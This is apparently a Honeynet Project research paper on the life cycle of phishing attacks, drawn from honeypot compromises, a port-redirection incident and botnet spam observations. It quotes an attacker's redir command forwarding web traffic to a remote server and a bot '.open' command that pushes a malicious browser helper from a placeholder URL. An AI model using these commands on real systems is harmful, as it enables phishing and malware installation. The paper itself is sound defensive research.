Very often Internet users become aware of phishing attacks by receiving spoof emails themselves or viewing a recorded copy of a malicious web site below the headlines on a technology news site, long after the server temporarily hosting the phishing content has been taken down. These events tend to be viewed in isolation and purely from the perspective of the victim. One of the major benefits that honeynet technology can offer is the capability to capture all activity from the perspective of the attacker, allowing security analysts to build up a more complete understanding of the entire life span of a phishing attack. Members of the Honeynet Project's Research Alliance are fortunate enough to have captured a number of rich data sets that can help to illustrate the stages of such an attack, from initial compromise and phishing web site set up through to mass emailing and victim data capture. Three different examples of typical real world phishing techniques are presented and reviewed below.
Most phishing attacks that we have observed in the wild involve attackers breaking in to vulnerable servers and installing malicious web content. Honeynet technology allows us to capture in detail the typical life cycle of a phishing attack, and in general terms the flow of events we have observed during such incidents are as follows:
Often the time taken for this incident life cycle is only a matter of hours or days from when the system is first connected to the Internet, and our research suggests that such activity is taking place on many servers and targeting many organisations at once. We will illustrate these theories using data recorded during two incidents that are typical of common phishing attacks, using one incident observed by the German Honeynet Project and one incident observed by the UK Honeynet Project. In each case, vulnerable Linux honeypots were deployed by Honeynet Research Alliance members. The subsequent compromise of both honeypots shared a similar modus operandi: the vulnerable honeypots were scanned and compromised in quick succession, with pre-built phishing web sites and mass emailing tools for sending spam emails being uploaded and used by the attackers. Rootkits and IRC servers were also installed during these attacks, something we commonly observed in other similar incidents. The compromised honeypots were also used for several different purposes in addition to phishing: as an IRC bot by Romanian attackers and also as a scanner to locate and attack additional vulnerable computers (although the honeynet architecture prevented the attackers from successfully exploiting other servers from the compromised honeypots). Some interesting differences were also apparent, not least in the case of the UK incident, where several different groups accessed the compromised honeypot at the same time, making forensic analysis more complicated. For the sake of brevity, we have not included the details of these specific attacks in this paper and have only covered the lessons learned and how they apply to phishing. If you would like to review more details about the specific attacks, the following information is available:
The table below shows a summary of the key factors and differences between the incidents:
|Data||DE Incident||UK Incident|
|Compromised honeypot||Redhat Linux 7.1 x86.||Redhat Linux 7.3 x86.|
|Location||German corporate network.||UK ISP data centre.|
|Attack method||"Superwu" autorooter.||"Mole" mass scanner.|
|Vulnerability exploited||Wu-Ftpd File globbing heap corruption vulnerability (CVE-2001-0550).||NETBIOS SMB trans2open buffer overflow (CAN-2003-0201).|
|Level of access gained||Root.||Root.|
|Rootkit installed||Simple rootkit that backdoors several binaries.||SHV4 rootkit.|
|Probable attackers||Unknown.||Multiple groups from cable modem IP ranges in Constanta region of Romania.|
|Web site activity||Multiple pre-built phishing web sites downloaded targeting eBay and major US banks.||Pre-built phishing web site downloaded targeting a major US bank.|
|Server side processing||PHP script to validate user input.||PHP script with more advanced user input validation and data categorisation.|
|Email activity||Tried to send spam (example 1, example 2), but blocked by Honeywall.||Only test emails sent, potentially to fellow phishers. Improved syntax and presentation.|
|Mass emailing method||Basic PHP script from medium sized input list of email addresses.||Basic PHP script from small input list of email addresses - possibly just a test.|
|Victim traffic reached honeypot||No, spam advertisement and access to phishing web site blocked.||Yes. 265 HTTP requests in 4 days, not due to spam sent from this server (no customer details were compromised).|
From observing the phisher's keystrokes in both incidents (captured using Sebek), it is clear that the attackers connected to pre-existing back doors and immediately went to work deploying their phishing web sites. The attackers appeared to be familiar with the server environment, suggesting they were part of the group who originally compromised the honeypots, and that the phishing attempt was fairly well organised. As the uploaded web content often referred to other web servers and IP addresses, it is also likely that such activity was probably occurring on multiple servers at once.
Analysis of the phishing web site content downloaded by attackers during these incidents makes it clear that phishers are simultaneously targeting many well known online brands. Well constructed and officially branded pre-built fake web sites are routinely being deployed onto compromised servers - often targeting multiple organisations via separate "micro sites", with separate web server document roots, along with the necessary tools to propagate spam emails to potential phishing victims. Directory listings observed during FTP sessions also confirm that the attackers were heavily involved in spam and phishing activities, revealing pre-built web content and message delivery tools stored on a central server and appearing to target at least eBay, AOL, and several well known US banks in the case of the UK incident. These individual phishing attacks are unlikely to be isolated events, as the spam emails sent during the incidents often directed victims to a different web server than the compromised honeypot. This indicates that phishers are running multiple fake web servers and sending spam from multiple systems at once. Parallel phishing operations are also indicated by the timing of the first inbound HTTP request for phishing content after the UK honeypot was compromised:
This inbound HTTP request to the honeypot occurred before the attackers had finished setting up the fake online banking content on the honeypot, and confirms the hypothesis that the attacker knew in advance that this server was available for use as a phishing web site. Spam messages advertising the new phishing web site were already being emailed to victims from another host, even whilst the attacker was setting up the new phishing web site.
We were surprised by the number and range of source IP addresses making inbound HTTP requests to the compromised honeypot for the fake online banking content. The graph below shows the number of unique and repeat HTTP requests from individual IP addresses to the UK phishing web site before the honeypot was disconnected to protect end users (and the incident details logged with the targeted bank):
A breakdown of the source top level DNS domains, countries and host operating systems accessing the phishing content on the UK honeypot can be found here. Note that before the honeypot was taken offline for forensic analysis, although web traffic for the phishing web site did arrive at the UK honeypot, no HTTP POST requests were made to the PHP script that processes users' data and therefore no user data was compromised during this phishing attack. In all the incidents discussed in this white paper, either the target organisation was notified of the incident and any relevant data was made available to them on request, or the local CERT was notified of any malicious activity. In all cases no compromised victim personal data was captured by Honeynet Project or Research Alliance members.
Data from these two example incidents suggests that phishers are active and organised, moving quickly between compromised computer systems and simultaneously targeting multiple well known brands. It also appears that a number of email users are regularly being tricked into accessing fake web interfaces for organisations such as online banks or retailers, and risk becoming victim's of phishing attacks.
In November 2004, the German Honeynet Project deployed a classic GenII honeynet with a Redhat Linux 7.3 honeypot. Although this is a relatively old operating system release and an easy target for attackers, it surprisingly took around 2.5 months before the honeypot was successfully compromised - a marked contrast with the relatively quick compromise of the honeypots discussed in the incidents above. More information on this trend can be found in a previous KYE white paper "Know your Enemy: Trends".
On January 11th 2005, an attacker did successfully compromise the honeypot, using an exploit for the OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability present in the default Redhat Linux 7.3 distribution. This incident was unusual in that once the attacker had gained access to the compromised system, no phishing content was uploaded directly. Instead, the attacker installed and configured a port redirection service on the honeypot.
This port redirection service was designed to re-route HTTP requests sent to the honeypot web server to another remote web server in a transparent manner, potentially making the location of the content source harder to trace. The attacker downloaded and installed a tool called redir on the honeypot, which was a port redirector utility designed to transparently forward incoming TCP connections to a remote destination host. In this incident the attacker configured the tool to redirect all incoming traffic on TCP port 80 (HTTP) of the honeypot to TCP Port 80 (HTTP) on a remote web server in China. Interestingly, the attacker did not bother to install a rootkit to hide their presence on the honeypot, which suggests that the attacker did not value the compromised server too highly and that they were not particularly worried about being detected.
The command used by the attacker to establish port redirection was:
redir --lport=80 --laddr=<IP address of honeypot> --cport=80 --caddr=221.4.XXX.XXX
In addition, the attacker modified the Linux system start up file /etc/rc.d/rc.local to ensure that the redir port redirector service would be restarted if the honeypot system was rebooted, improving the chance of survival for their port redirection service. They then began to send out spam phishing emails which advertised the honeypot, an example of which can be found here (note that relevant sensitive information has been obfuscated).
To further investigate the activities for the phisher, members of the German Honeynet Project intervened and covertly modified the configuration of the attacker's redir tool installed on the honeypot, enabling logging within the redir application itself, to more easily observe how many people received a spam email advertising the honeypot and then clicked on a hyperlink to access the transparently redirected phishing content. Within a period of about 36 hours, 721 unique IP addresses were redirected, and once again we were surprised by how many users were apparently being tricked into accessing such content through phishing emails. An analysis of the IP addresses accessing the port redirector honeypot can be found here (note that this information has been sanitized to protect the users who accessed the phishing content, and again only IP data was logged during this research. No confidential user data was captured).
A summary timeline of the incident is provided below:
|Date / Time||Event|
|1st Nov 2004||First network probe data of honeypot|
|11th Jan 2005 - 19:13||Honeypot OpenSSL service compromised, port redirector installed and phishing spam sent|
|11th Jan 2005 - 20:07||Web requests for phishing content begins to arrive at honeypot|
|13th Jan 2005 - 8:15||Honeypot taken offline for forensic analysis|
The recent white paper by the Honeynet Project called "KYE: Tracking Botnets" introduced a method to track botnets. A botnet is a network of compromised computers that can be remotely controlled by an attacker. Due to their immense size (tens of thousands of systems can be linked together), botnets can pose a severe threat to the community when used for Denial-of-Service (DoS) attacks. Initial research in this area demonstrated that botnets are sometimes used to send out spam emails and can also be used for phishing attacks. During a study in October 2004, email security company CipherTrust suggested that 70% of monitored phishing spam was sent through one of five active botnets, but our own observations suggest that many more botnets are in use for spam operations. Although not the analysis of one single incident, in this section we present our observations on the tools and techniques used by attackers engaged in phishing via botnets.
During the period between September 2004 and January 2005, the German Honeynet Project deployed a series of un-patched Microsoft Windows based honeypots to observe botnet activity. An automated process was developed to allow honeypots to be repeatedly deployed, compromised and shutdown for forensic analysis. During this period over 100 separate botnets were observed and thousands of files were captured for offline analysis.
Some versions of bot software captured during this research project provided the capability to remotely start a SOCKS v4/v5 proxy on a compromised host. SOCKS provides a generic proxy mechanism for TCP/IP-based networking applications (RFC 1928) and can be used to proxy most popular Internet traffic, such as HTTP or SMTP email. If an attacker with access to a botnet enables the SOCKS proxy functionality on a remote bot, this machine can then be used to send bulk spam email. If the botnet contains many thousands of compromised hosts, an attacker is then able to send massive amounts of bulk email very easily, often from a wide range of IP addresses owned by unsuspecting home PC users.
The lack of a central point of contact and the range of international boundaries crossed could make it very difficult to trace and stop such activity, making it of low risk, but potentially high reward to spammers and phishers. Perhaps unsurprisingly, resourceful botnet owners have begun to target criminal activity and it is now possible to rent a botnet. For a fee, the botnet operator will provide a customer with a list of SOCKS v4 capable server IP addresses and ports. There are documented cases where botnets were sold to spammers as spam-relays: "Uncovered: Trojans as Spam Robots". Some captured bot software also implemented a special function to harvest email-addresses or to send spam via bots. The following listing shows some of the commands related to sending spam/phishing emails implemented in Agobot, a popular bot used by attackers and a variant regularly captured during our research:
Further information about how these commands are implemented can be found here in a side note about the source code of bots. With the help of drone, a customised IRC client developed by the German Honeynet Project, we were able to learn more about how bots are used for spam/phishing email attacks by smuggling a fake client into a botnet using the connection data collected through the attacks against our honeynets. A number of typical examples of observed activity are shown below.
Within one particular botnet we observed an attacker who issued the following command (please note that the URLs have been obfuscated):
The command .mm ("mass emailing") is a customized version of the generic spam.start command. This command accepts four parameters:
In this case, the fetch.php script returned 30 different email addresses every time it was invoked. To each of these recipients, an email message was constructed that advertised the second parameter of the command. In this example, it pointed to a web-page which attempted to install an ActiveX component on the victim's computer.
In another botnet we observed the installation of Browser Helper Objects on a victim's PC:
[TOPIC] #spam9 :.open http://amateur.example.com/l33tag3/beta.html -s
The .open commands tells each bot to open the requested web-page and display it to the victim. In this case the web-page contained a Browser Helper Object (BHO) that would attempt to install itself on the victim's computer. As the channel name indicates, this botnet was also used for sending spam.
In another botnet we observed examples of spyware propagation:
This link was found during analysis of captured malware. It directs the victim to the web-page of a company that offers "free ad delivery software which provides targeted advertising offers". This web site contains several pages that try to install ActiveX components on visiting clients, presumably adware or spyware.